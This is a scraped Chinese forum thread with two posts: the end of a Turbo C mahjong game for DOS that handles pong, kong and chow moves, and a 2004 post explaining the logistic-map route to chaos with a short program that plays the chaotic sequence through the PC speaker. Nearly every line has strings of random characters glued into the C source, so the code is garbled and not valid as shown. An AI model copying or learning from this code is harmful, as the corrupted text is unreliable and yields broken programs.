0 {2 l. c3 i0 B6 p' TfillRectangle(x1,y1,x1+20,y1+4,0);( W% T# _$ U* N
}
% e& m- G+ P) v! z2 Q2 N  }# qif(every==8)/ K, S+ S  l! _, H9 S3 y* Y9 o
{
( N  C3 F# s& }x1=180;
  m) f# D5 n2 m6 V; Fy1=165;
6 k$ |. V# ]" U4 x- \( m9 M4 d4 _fillRectangle(x1,y1,x1+20,y1+4,0);
0 D  u# V. E, g, I4 F: l}
- Z$ b8 L/ ^. D7 E/ Pif(every==9)) f! N1 W  x( _7 q
{( R* V, n; \# |
x1=200;% N* ^9 o, m( E% O: D2 q% k
y1=165;4 u# g+ }" A- G6 y& a0 I; y
fillRectangle(x1,y1,x1+20,y1+4,0);9 Y/ T" a3 d! Z% g
}
- h. R) n, N& d+ vif(every==10)
. L9 a/ {8 I0 f* u& F; T3 P. z{: h1 I5 {+ O! O; a% J7 b$ O
x1=220;% ~4 k4 W4 ?4 v4 i5 y
y1=165;% F. [2 S0 P7 k* I* }7 b
fillRectangle(x1,y1,x1+20,y1+4,0);/ p5 N. A8 J7 w: Q6 A
}2 A3 C+ b; h* F; A. G$ |" z
if(every==11)) C6 ^" L, x6 W5 ]2 G
{
, B4 n- t. M3 d0 q" l* ?x1=240;9 s& g/ K* W9 [- m6 K/ J, N
y1=165;& ]- K* k+ ?+ c9 g5 ]  v
fillRectangle(x1,y1,x1+20,y1+4,0);7 S! W; S5 t$ F6 E3 `1 P* R; S
}
7 o5 _& Y) ?# L; C$ ~( s* K* r0 \if(every==12)% J  E5 T7 e! `7 X' Y$ U( r1 d( m
{
3 }# ~( h3 a2 _5 M. Px1=260;
3 e6 w% G) e4 P" t# Oy1=165;
7 Y' b( ]' d2 b" e+ c5 IfillRectangle(x1,y1,x1+20,y1+4,0);8 @- G3 Q3 N! `/ W% A% O& H, ~; I
}
* L* A! f7 s& M0 O" @* v( M. d; K" k( H  R
zz=0;
2 _; q/ h' s# ^- l3 d; E  Hevery++;$ @* C; F9 ?' O" \7 Z, q
z=z+20;6 P% Q7 |& Y  Z
}- B6 ?- M' ?% \4 Y
showbmp(every);! T) Y  |2 ^% y0 P
key=keyy;( H7 E6 g( t( ?: t; D
if(keyy==ENTER)
0 K, S' D: U; b0 d8 `) C{# f9 T, p# u' a% }( r8 b
rgzn(every); /*********************/
) C- R1 `! @; _1 @if(sing==1) /*如果可以乓,做相应的处理*/: N- n' y& g' e7 Q3 b. Q
{
: N6 _0 v. v4 x7 l8 J0 ikkk=0;, n% S( y  N$ X7 w+ U
kkkk=0;- J# V5 `% @! |. `! S8 P7 L
while(kkk&lt;=computer.m)7 o. z( E& |4 O" f. q( q, h- r
{% U; S* S# G0 E0 a5 d
if(computer.pp[kkk].p!=1)
2 V' |- \# O& Q( r{
& ^# l% |& E( O& Q- ~: z" F# [comp.pp[kkkk].k=computer.pp[kkk].k;
- K, m( H: e9 tcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
! ?. j6 h: ?0 s2 q6 ?+ icomp.pp[kkkk].number=computer.pp[kkk].number;" m, l6 q# r5 [; p
kkkk++;; T! E6 ~6 M" R, Z- d
}' U# ~  L: u# u, A
else2 l" j) x/ W: h. J+ e
{
4 ]* F1 [+ N# G9 D0 T* i. bm[computer.pp[kkk].number].data1=1;+ x) J& v6 D" B
dwei=computer.pp[kkk].number;
/ i  Q+ S9 {1 ^1 {, {/ Zcomputer.pp[kkk].p=0;+ z3 T% ]* b0 c$ w1 }% J5 R% `2 A
}
3 W; C. K' ^) f* G4 g6 ^# Vkkk++;; m; Y! t" k: g) D: j( O
}: {' u: y1 b% N9 @
ll=0;
0 G0 J0 V8 `$ B- j; i( Y9 `' t8 s+ f; c* Q9 ]5 ~7 @4 H" f3 {8 ^# O7 n- [
while(ll&lt;3)+ V' ~" u- u* V( T0 r" }& A. J
{ zl=zl+20;
. n. b+ E/ {2 r1 w  y9 }( C. _bmpp(dwei); /*显示乓的牌*/, q7 n2 C: x5 I  U2 Q
ll++;
0 D, j$ b" ]0 Z! X5 E7 q}
. j. t& G$ J0 o0 B; k& c& `! {
% K1 r; p+ o9 j6 K: \( b8 Jzl=zl+9600-60;
6 ~! ]5 q' _# f3 l. E2 [' _5 ~kkk=0;+ B6 z$ @! N; O8 H* t2 R. `
computer.m=computer.m-2;$ u4 Y5 _5 H7 x/ \! a. n
while(kkk&lt;=computer.m)9 a" P5 V8 a9 k5 I+ k
{
- U" _. l0 r' A, C# S$ a5 tcomputer.pp[kkk].k=comp.pp[kkk].k;
4 ^. \1 v/ m  }- zcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
2 y" U, W2 i+ `% \  t( D2 D) j+ I8 `computer.pp[kkk].number=comp.pp[kkk].number;# g8 H! Y1 u4 e0 N5 m
kkk++;; z' z- J" t+ n3 V" G% _
}- M- n; R. _' m# _
ll=0;6 e; n! [& M' H
temp=random(computer.m); /*出牌等待完善*/
+ k: e( e( q* W: g) ~- L2 Y" Wzyy=zyy+9280+20;; @# F9 a9 n3 A4 K7 q- ]$ S0 f
showcbmp(temp);
, i4 t9 U( g+ W- @: _zyy=zyy-9280;# `2 i" ]7 {9 {! z- p
/*****/% V& b: W) c7 h, |
rgznme(temp); $ ?7 L9 c) v% F4 b& t8 E0 I! M! C
panduan();+ ?) s- @7 v. M* u7 k$ S7 ~$ p
if(me.m==0)' E3 x/ R& L( x) }$ b
if(second==1 &amp;&amp; threes==0)
# W% x  K7 o, H( z6 ?printf("you win!");6 c3 `# g% ?8 y0 {
if(me.m==3)- w7 _/ `/ y" ~9 y; g  g5 B
if(second==1 &amp;&amp; threes==1)
  ~6 s1 h0 x# U* `- u2 K- lprintf("you win!");
/ z, u- d* |& C# \* g4 V8 |1 `if(me.m==6)
6 @5 ^/ ^0 m& s% j' w7 n1 g' V2 ~if(second==1 &amp;&amp; threes==2)
( x/ p% w% S7 K, J! Vprintf("you win!");
! W( a3 o% T) y3 F5 Wif(me.m==9), U+ B" q8 i8 k1 N3 d, y+ A$ \
if(second==1 &amp;&amp; threes==3)
# \) u, a) F  G" g8 nprintf("you win!");4 {8 S- o" U1 i; z7 S
if(me.m==12)
4 z: m( ~3 M4 S( m. {. V8 z6 Kif(second==1 &amp;&amp; threes==4)9 G  c  Z" e& y; C
printf("you win!");
* K9 T- ~9 p- N, o
9 U  p6 }( e# V; }1 a) B9 Skkk=0;
9 V3 h: m8 j& _0 M& o% @. p; Mkkkk=0;
4 a. B/ Y; x+ O: wwhile(kkk&lt;=computer.m)
. }# _1 Y, [$ C5 g+ J{8 H2 K5 |5 {& X. c9 s( q- M7 c8 a
if(kkk!=temp)
9 x7 g2 Z3 Y  C{. L8 P2 d' F/ g1 ]! ]
comp.pp[kkkk].k=computer.pp[kkk].k;
1 [+ g) i  X% w: k" Bcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;% C: j, O1 |3 V+ x9 h4 h
comp.pp[kkkk].number=computer.pp[kkk].number;1 |: E3 F6 Z* D; g
kkkk++;0 B: h6 g0 G- n
}+ ^2 O' ]" e  c" \6 w2 p) Q
else3 m4 J$ c3 }. i6 ^0 ^
m[computer.pp[kkk].number].data1=1;
3 B' }' o; O# E; t1 G9 y3 G2 qkkk++;
+ P. l5 j# K/ Q6 r+ h: ]}7 v! Y. V  c5 w
kkk=0;
$ N) |3 c" K8 z/ Icomputer.m=computer.m-1;
3 n( q  b7 R' f# h- Ewhile(kkk&lt;=computer.m) ! }" A% A! \1 y/ J) R4 e4 Z1 _
{. F. c: _3 [! o2 v0 k* B
computer.pp[kkk].k=comp.pp[kkk].k;
0 o; {: P% Q. ?/ P! t& v3 x# wcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;% g6 s7 Z. M( i
computer.pp[kkk].number=comp.pp[kkk].number;+ d: g! p4 s9 {' c# S
kkk++;
( _$ h5 `+ t; Y" m: ?& K. O+ ^- L}( D0 @5 F! F* d, f, w# {7 m
fillRectangle(0,0,320,30,0);$ E7 E8 o8 P* O1 `: R7 V$ F
n=computer.m;" x; n1 z# Y, [! x
ll=0;! F7 Y9 [  W+ T2 N- I6 X
zy=0;
& {  ~/ c& O8 V7 pwhile(ll&lt;=n)  w) P  O9 W( @7 c
{
, ~3 a. ^8 L: ?zy=zy+20;3 ]- v: }; V5 A. _
showybmp(ll);
4 i( c+ R5 C( ]0 o$ z/ V+ oll++;
1 |5 Q  Y7 x  m, ?* }4 l}4 [7 B/ {8 R! W1 y) c4 _2 d1 ], Z9 A
ll=0;
) `# a  q$ f- Q! O. j1 c" j' z1 Vgetch();
; n4 f* _& @* nsing=0;: E( n& i$ A5 Q4 O. H9 q
sing1=1;- I2 \" ]0 m  A' A4 l
}
5 D7 n2 e; r, O9 X
; Z7 Q  G, x7 \) w0 {. g! `if(sing==2) /*如果可以杠的做相应处理*/
" Z' V+ n* j+ X{
* h) O3 w4 F$ g9 v5 |kkk=0;" z+ N" X7 h4 S% t
kkkk=0;( H9 Y) e. N# W( v: d
while(kkk&lt;=computer.m)
; i* M9 y7 e; _' I{. m2 ~7 v% C+ X! C0 g3 {$ J0 t) a
if(computer.pp[kkk].g!=1)8 _0 Z2 _2 T* B8 `
{
3 g9 d6 e" B8 s. V, {1 h- ncomp.pp[kkkk].k=computer.pp[kkk].k;
5 Z$ T/ r1 d' O, D) ucomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
. B0 X# c  S& E5 u+ ]comp.pp[kkkk].number=computer.pp[kkk].number;  @9 k5 x% Z* g; }8 f0 O
kkkk++;- y- m. m3 Z/ @, {) y- h! v
}
* C' i- Q) `* Z: m% M4 uelse" o. Z7 L" |2 m% \" [5 {9 d
{' [, Y- m2 W7 G: V  Z" D
m[computer.pp[kkk].number].data1=1;3 O; t% l5 @7 V7 V" S4 J' k
dweig=computer.pp[kkk].number;
5 m. F$ I: a( V9 w: l) G9 N+ z# dcomputer.pp[kkk].g=0;
5 e4 K7 @8 F) H* T4 L" U) N}
7 o. y1 w  p3 i& _8 J4 ]& S5 J+ ^0 kkkk++;
) H% a% K0 Z) A: F}7 j5 Q" y# x6 J
ll=0;2 B4 ~3 ?( j$ F

6 t; v% b+ K/ z: M1 n, n4 n) ^while(ll&lt;=3)
* T: u- @7 _% {6 y8 w% G! }+ m9 B! t{ zl=zl+20;  C' m. c; C" a' c2 z; @4 n: M
bmpp(dweig); /*显示杠的牌*/" z9 ^. J: ?9 h3 M
ll++;
" }1 d* @! b& b2 a+ R}. E; @5 y' `% y4 ^
zl=zl+9600-60;
' r" Z( A: t, T: q, l4 U9 q2 S# Dkkk=0;
( }& Z4 f8 _( y) u2 acomputer.m=computer.m-3;
: K4 t% n0 M& ~" `% awhile(kkk&lt;=computer.m)
2 t4 |8 t( K: U, v& Y{
9 i6 d( h% R6 v/ g4 {computer.pp[kkk].k=comp.pp[kkk].k;
1 |1 J& d! h# n2 q( ~* ]computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
. e% n# {) O+ _6 O) tcomputer.pp[kkk].number=comp.pp[kkk].number;
7 e  C3 r5 O1 D+ B1 I$ ]( V. Wkkk++;
8 S1 J3 }7 g  I( g: r) ^}& X4 O! n4 G4 T; m8 ^4 I4 ~1 r
kk=0;
/ l$ E+ a' f. b6 [6 Ucomputer.m++; /*加一个牌的容量*// L- }; _$ s* H# b! e4 q
while(kk!=1). v1 M& y  b6 I) t1 j7 X5 v" C" q
{
% @* u; m# ]2 c# ~5 Htemp=random(136); /*出牌*/
( b5 r3 {2 y0 T8 H- s1 Fif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
; @4 Y+ h) S: S. j2 @; h7 r{
3 Y  Z& q5 B& F2 {+ _5 Hcomputer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
( G8 q  ]. U3 T, m* t) Hcomputer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/! B4 z' K/ C% W& @$ P8 P: B
computer.pp[computer.m].number=temp; /*第几张,用来排序*/
0 y& l3 h# J% ]3 T5 Tm[temp].data2=2; /*判断牌是谁的,2为电脑*/
$ j9 g. I$ V# q- Q5 o0 \8 N8 ekk=1;1 m2 G3 D( O' m! u
}' q. ~. ^. i) {3 D' `
}6 H& B6 Y- x6 C& A
comlipai();
2 ^, _$ `( `# o, |: t4 ]temp=random(computer.m); /*出牌,等待完善*/
7 p; I+ B! ?1 o0 n* z' D& {zyy=zyy+9280+20;1 }- O/ x( ~( V( M/ a# I, d- m
showcbmp(temp);+ K' K' V& F. U% g' t
zyy=zyy-9280;: s- r2 K3 X" V$ n
/*****/) R% A/ e1 w) b5 l9 q
rgznme(temp);( }1 D6 h9 ^" P+ w, ]7 \
panduan();
6 M9 f7 Y* K4 C! A- d, @* V9 gif(me.m==0)* u3 d' M# @) s8 K5 a( T
if(second==1 &amp;&amp; threes==0)
9 z; M$ D  ?* S* |9 N0 Nprintf("you win!");
& ?8 ?; p- @! H: G2 Gif(me.m==3)" D6 d2 H% P/ {& }2 Z: m* \
if(second==1 &amp;&amp; threes==1), w1 K8 v6 k  k4 n+ h: ]6 B6 ]9 B
printf("you win!");+ D1 K- z7 v, K4 d/ Q6 P
if(me.m==6)9 p# p) t8 `+ {' G, P3 L1 G  x; L: \
if(second==1 &amp;&amp; threes==2)
" b& d' S" U/ S7 i5 Tprintf("you win!");: T  m: w  d! d
if(me.m==9)
4 s: `8 d- O' bif(second==1 &amp;&amp; threes==3)) F# k) M2 D; o: [% {) p3 u' U
printf("you win!");% b5 ]# N$ `6 C4 ^+ M# t
if(me.m==12)) P' e- o/ Q4 I/ e5 \
if(second==1 &amp;&amp; threes==4)
. {- t$ g1 d3 ^% y. v! h8 d3 {3 B8 _printf("you win!");  c9 A- h/ h( ^/ B, H
6 U1 i: H$ A& L, D! Z5 t$ X
kkk=0;/ L: M  H  Y5 s# O3 S6 a$ {
kkkk=0;
1 N) d. C3 F# G% P5 B7 e/ d# F' H' ^while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/
! q1 k3 j( {0 t6 l& P% n  }1 W1 u( z{
0 n- B" n5 B: C- n- d) u& Kif(kkk!=temp)
1 }0 m. M6 y, R) @5 K# s& }{2 u6 x! H! p2 O
comp.pp[kkkk].k=computer.pp[kkk].k;4 z/ |' U' t; I0 d9 a
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;( M. b. g# J1 Z% W0 f% L, M; l& N
comp.pp[kkkk].number=computer.pp[kkk].number;
/ e3 F" W2 p) _; ?kkkk++;
2 ]# m% W# N9 ]/ e8 S}+ k$ Z4 u; X* s; e" ?: S+ T
else
' _7 u5 K! P/ _9 Q$ c8 mm[computer.pp[kkk].number].data1=1;
" r, T  _6 m, I1 kkkk++;/ C) U/ X" E, C/ `
}
% S: V( x$ {: p; _5 |. d$ Ekkk=0;: b" k$ O4 e" O. Z2 q" G
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/
/ U' b( v# z/ nwhile(kkk&lt;=computer.m) + d5 F- [1 s) Y- N
{/ E+ B8 G- Q* u7 E- P* o1 }5 U- y
computer.pp[kkk].k=comp.pp[kkk].k;
1 Y5 h) w! C3 D5 [3 Q/ X4 F0 B" ocomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
% d4 R7 r" ~! g& icomputer.pp[kkk].number=comp.pp[kkk].number;
. ^& j) v2 H9 e: bkkk++;  }9 z8 R7 R5 D. _+ l+ y
}5 ~2 K( S. K. ~$ J
fillRectangle(0,0,320,30,0);
* J- v: w$ y7 b6 T3 Z" ?ll=0;% Z) [2 t) S% j. i& |5 H
zy=0;
- l7 y+ K5 N8 ]while(ll&lt;=computer.m). t$ C4 `# w9 {1 F, G
{
+ Z$ e  ~. ]6 m; d0 x+ ]zy=zy+20;' f7 g4 g' C: s8 W0 V2 U
showybmp(ll);
$ n0 X/ r( G2 }. Q2 \; Ill++;
: e/ y  i5 P$ Y6 v6 A. a1 E5 o}" b8 X8 @! q2 Y
sing=0;
; e$ {/ p! l" D, Rsing1=1;' K+ e/ b7 x1 |' S2 S/ c
}$ q5 ]' i) G$ z4 R
if(sing==7) /*如果可以吃的,做相应处理*/
( z( a  ?& Q5 @: ^4 K, I% u- T$ h% s0 G{ nn=0;! W; x" j* X8 f
kkk=0;
$ z5 j* R0 y4 o" Z$ _. mkkkk=0;; E' w1 ^) j6 _5 W$ m2 }
while(kkk&lt;=computer.m)
5 d3 |7 b, z/ x& x! q8 D7 o{
) u- p4 E. q0 X5 Nif(computer.pp[kkk].c!=1)
( e" D' C9 s4 {, F3 {5 g' U. p{- Q+ ?: t6 @6 U7 `, w
comp.pp[kkkk].k=computer.pp[kkk].k;
' C0 H* ?# t. h  K: S0 fcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
0 r4 J5 v8 O  s/ Q! Z+ V* Zcomp.pp[kkkk].number=computer.pp[kkk].number;
# u8 H/ E/ T& f9 f" a9 Ykkkk++;! c7 d: P* g  H& `' {
}
3 V. T( f$ c" w9 ]7 I0 H2 |7 A( f7 pelse
! p# d" y# v* A+ Z, v7 m' `{
0 H! a6 a9 j$ d4 d/ A- b% H! Sm[computer.pp[kkk].number].data1=1;1 {" Q1 r  U' F9 r" D
dw[nn++]=computer.pp[kkk].number;7 L  o! |2 {0 H
computer.pp[kkk].c=0;
+ {# k+ q1 u! {  `' y# r0 w4 t4 k, O}2 @) t- ~* A$ y( F+ U. v6 h
kkk++;
/ j4 k. j$ q+ F. ]}
3 q  |# P$ Y9 I" [- q0 r+ Z; y7 Q8 R4 E) s* e$ w6 e' r- @) v
if(me.pp[every].number&lt;dw[0]), C+ Q: J8 W3 U- ~) z/ h! |* a) _$ M
{
6 A5 i2 j1 v; M" P7 @, }dw[2]=dw[1];
8 ~7 x( d$ {" |3 |" x- |$ \3 m. H4 @dw[1]=dw[0];
2 L" L! ~% u, ?dw[0]=me.pp[every].number;  r, |: _8 M! L$ E" ^# ~
}0 z, a0 \6 c7 n. ?% s
if(me.pp[every].number&gt;dw[1])
/ @" }. n7 u. R{
* _' {  s3 m. j+ \" h$ j- ~dw[2]=me.pp[every].number;' P2 x5 s( x" j) A
}
7 `" K  _! b' J) l7 }$ Oif(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])
5 R4 Y% r, U* T% \{; r! w/ I5 y8 c; ~5 q/ o  U5 s% Q0 v
dw[2]=dw[1];
! A: N+ |0 J; G% ^8 rdw[1]=me.pp[every].number;
9 o3 C* E4 ~/ K1 L2 F8 F" O}
; e; u8 j  j3 b- Lnn=0;$ }/ `" ]+ C( s/ F" w3 H2 L( a7 |
while(nn&lt;3)+ A: S$ \* S  ?" ~2 n; c: \+ C
{ zl=zl+20;5 {- N% e; Z: n
bmpp(dw[nn]); /*显示吃的牌*/
# h3 L' F" Z4 X9 \. ]nn++;
4 T8 x2 A6 G& ~- j- c. d5 |- l3 k}
$ d. Z' W# h) ^' T6 E. {0 k9 K5 ?$ kzl=zl+9600-60;( Z" Y8 F" {0 X7 K8 c
kkk=0;
( |4 X  M! l( a! |3 H! Gcomputer.m=computer.m-2;
4 p& ]- l6 d" x1 U7 ewhile(kkk&lt;=computer.m)6 G0 U1 r- g/ L& a( }) ]8 o/ ^
{, M0 L( B$ Z' y8 w' ?6 M) F
computer.pp[kkk].k=comp.pp[kkk].k;8 L& U% ?8 g7 }# R% d4 o+ B* Q7 Z
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;1 r1 h, q( f3 b; `5 j: H
computer.pp[kkk].number=comp.pp[kkk].number;
' }9 [2 Q( t" nkkk++;5 e, t: l7 F/ g5 p' A3 R
}" ^% N# f6 H( k' z$ N  u
ll=0;
( z( T; Z9 {/ Q: Y4 W4 D: [: I7 Vtemp=random(computer.m); /*出牌等待完善*/: @8 E2 q, w: Y6 V+ X: s; n9 f
zyy=zyy+9280+20;2 e5 {, J8 {) V& k; \8 I
showcbmp(temp);
. N5 G, ~/ ]9 s9 v' x" Tzyy=zyy-9280;
( F$ Y9 d; |0 }* \8 V/*****/
5 M4 E$ W2 r  I3 Grgznme(temp);
! `& P7 l' l! G0 Qpanduan();3 y+ X4 _8 M# u- P8 O
if(me.m==0)
0 E6 ?2 y- [: o8 t8 J* jif(second==1 &amp;&amp; threes==0)
" ?* m6 Q( @- d* iprintf("you win!");4 B+ @0 Z4 ~6 b5 V
if(me.m==3)9 q$ a* ]: w, N! e0 O. ]& |
if(second==1 &amp;&amp; threes==1)
( }' t0 o5 n5 Z- U& u6 b2 j  Hprintf("you win!");
7 s, @6 q+ E2 y9 Y4 v  l5 D& K% Aif(me.m==6)
- }1 }  l% y4 f, m3 F$ Wif(second==1 &amp;&amp; threes==2)9 j% E% ^& K% N/ t- c
printf("you win!");
" a2 Z; a0 d: z, _  H/ }4 S' Lif(me.m==9)
5 ]1 V4 a) `% l4 b* tif(second==1 &amp;&amp; threes==3)
5 j3 ?# n' l8 g/ u: Jprintf("you win!");' j7 h7 y6 X* K, E4 `8 A! d
if(me.m==12)7 Z% R- W& n3 J" @" L$ l
if(second==1 &amp;&amp; threes==4)
8 q, e2 M7 D! c; e/ F! T% J- F3 kprintf("you win!");
9 y3 L2 }- S3 P( P
& d2 A) j1 v, Ukkk=0;: U' f" T$ q. c4 s* h
kkkk=0;  d) E, U/ J. J% G
while(kkk&lt;=computer.m)5 [% r9 n: |5 L! t8 b1 Y
{; @0 _+ m- b7 p4 O- E9 S8 }; D
if(kkk!=temp)
4 H& t0 s: F7 K+ H/ q( S. A- o+ t+ P{8 r! z8 r6 `/ q+ m; j& }) |
comp.pp[kkkk].k=computer.pp[kkk].k;3 }, Y! f  H# T5 t; z
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;4 [; e" R* V, ~( I5 D
comp.pp[kkkk].number=computer.pp[kkk].number;* @) \8 C* K7 J1 W- G- x
kkkk++;
, q3 a% N, O* ]' j. k: p2 ^}' o3 n$ y, J- R8 [! c( z0 k
else
% c. ]# U& [; B# M' d6 vm[computer.pp[kkk].number].data1=1;
6 W! ^/ d. C6 u( Qkkk++;: K$ ]* \9 M% ~# ?; k7 v
}
" Q$ ~7 m4 e; [, s! \  gkkk=0;
1 c* f# m% R$ _; c$ Bcomputer.m=computer.m-1;
- a  k; V1 y- ]/ Y  _3 Vwhile(kkk&lt;=computer.m) $ ~7 C! _2 n- B$ }! Z
{
+ m, _& y, W3 F$ K! Bcomputer.pp[kkk].k=comp.pp[kkk].k;
; k7 D6 d3 @) i5 ]computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
( q& E6 g2 P$ u4 G2 w5 mcomputer.pp[kkk].number=comp.pp[kkk].number;
# d( R0 ~0 C7 l7 C' m2 ]kkk++;
* t( ?+ S3 D2 {' X}
1 l% H& n, F. e- `4 V+ l/ mfillRectangle(0,0,320,30,0);
, ]' m& v. X# Z; In=computer.m;
; N" [" W3 z9 {, Xll=0;2 o/ E: \6 v/ }% @- C( u
zy=0;3 G- k6 O, o# C) ~( S
while(ll&lt;=n)5 E9 o( p, `) F# o5 v5 X
{
7 I9 d' ^  i* H; @zy=zy+20;
% D. f+ t2 Y" V. B8 ?% Q7 ashowybmp(ll);3 I+ v1 x- A: b9 g2 q
ll++;4 I$ g6 f/ H0 \
}
5 ^. L- L" |, p( {& [" H3 E
2 V( h$ p2 h* ]- e1 }getch();
1 K% L' e# S4 s/ z& d( J) Ysing=0;
* C: P0 N) ]" [2 @. J! T4 s) e+ Xsing1=1;
7 u. M3 d2 d4 B% L; T8 l* w1 y}/ r5 _* l: T; c: X3 A* i
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/3 {$ s* k) ^' x
{
" B5 X1 N$ n" k5 akk=0;) Y- X6 l+ z; U/ @6 I) U
h=me.pp[every].number;& {. d. p$ ^& B
m[h].data1=1; /*此牌已经无用*/4 a$ ^" h6 p2 U8 F  v
if(sing1!=1)
+ Y% p5 G+ ~$ ~{) x7 W9 a+ k: E  i8 \8 J! J3 j
zyy=zyy+9280+20;' F5 R* B- }  `2 `( w* _% m) y: r: Z) G
showbmpd(every);- g1 G# {5 D4 b  s
zyy=zyy-9280;
. p3 ~4 Q7 l/ P}$ W- N) O' B& E1 @/ G
while(kk!=1)  o5 n$ I8 R! C# w7 P; r. V
{
7 x% h! z0 y% ^+ ]: C8 d3 itemp=random(136);1 r  t" `; d. V9 I
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
4 A7 M% p$ O. T  }{
& c3 L! w9 y) i- Z* [* x& b* [me.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/
! W3 V0 E0 O" bme.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
2 M1 Q1 I" d$ D0 o$ S3 W! Mme.pp[every].number=temp; /*第几张,用来排序*/5 z& _" Q( M$ v- W
m[temp].data2=1; /*判断牌是谁的*/; m* m) w3 k/ D
kk=1;
& f+ t$ a0 d  e$ u7 _! n  A6 l}  ~: T" n6 g( G$ K# z/ z$ R
if(kk==0) /*判断如果又选择了,就从新再选*/
( b. B  Z) z3 s0 D9 C6 }kk=0;' z% c  N1 J  q; |) ]6 l0 Z
}
; {/ w3 }# d9 B}
  ~7 {5 D8 r0 H# k$ z- N0 b0 asing=0;; O, D: A& l( E9 O6 ]& \) s( J
sing1=0;
1 u; Z( z9 g) rmelipai();
3 e' Z+ Z$ b& @$ p' e% jn=13;
* O8 @, C2 j* hz1=54400;
+ f  H# z" e5 C3 wl=0;" |7 L; t) }* p
g=z;
( w: M7 Y% }. nwhile(l&lt;n)
$ j/ A2 ?, ?! b2 j( a{ z=0;  l- F8 d0 ^6 r. ]! y( P
z1=z1+20;
0 H6 Z" y( [7 C. ?! _9 ~1 oshowbmp(l);
* }, }, \1 A% ~l++;$ b3 g$ l/ M5 e/ Z3 R
}
! ~6 C0 ^: n- U, Z4 ^6 ^2 zz1=0;
0 Z$ a* P0 z, ?$ T- k; ?6 J. k: Rz=g;/ `3 g, \/ S  m4 Y; ^
}
5 F( x& N+ @* ]5 gkeyy=0;) y" f; E5 D. G! i' j" m& U# G
}* N3 H0 O" X9 P9 Q* `

4 L4 m* r3 Q# d  o$ Ggetch();
: Y; s# _7 [- y" R# POUTVGA;
6 F* r& \/ v: z6 z) p}
, l8 j, J5 |4 ~# u9 C</P></DIV>
作者: 韩冰    时间: 2004-10-4 02:38
<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])$ j/ C, N' E1 c6 T
</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:6 i# W; G6 g# N+ b' o9 d7 _

2 @9 s! v$ |( t: P) o" _  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。  s0 k( ]0 u1 N1 L5 b, E) P
  <FONT color=#009900>#include <DOS.H>: S. N% O, m+ B2 ?4 o
  #include <STDIO.H>* R8 g: s) ]4 [' v2 [* }
  main(){9 D) v5 S. y& O
  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/( `% x2 F- q+ g5 u* A7 s; E0 h
  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/  s8 w/ R/ Z2 i/ p& j3 e6 u
  /*i,j用于循环记数*/1 E  Q9 G9 b" @: c, j3 W
  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/6 n+ h! |7 ~1 E+ d, Z
  fDis=fMax-fMin;
& b2 L7 i" M5 ^% B- ^8 z  for(j=1;;j++){8 _+ w" \7 [: n- d0 [
  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/& ]: l$ J+ c4 g
  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/
& q* V. N5 q! b4 Y2 Q- y, f6 `" b  scanf("%f",&k);* {  c: t7 Q5 O6 m$ F% `- h
  if (k==0) break;1 Z7 F4 d: A0 f1 q* ]* I( }7 _
  for(i=1;i&lt;100;i++) /*去除开始的100个点*/
  \, ?! v* i- T. n9 K' |/ h; S  x=k*x*(1-x);
( t! [$ W% F* N# n  T2 r1 i  for (i=1;i&lt;100;i++){' ^% Z$ o2 c8 U4 i2 k, I
  x=k*x*(1-x); /*计算x的值*/
" @1 @9 X0 ~5 n2 v3 _  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/
8 {- v6 \. I' ^0 F  delay(1000); }
- m" q# {: q& _9 F8 `  nosound(); }}& P  B( |2 r8 V1 M
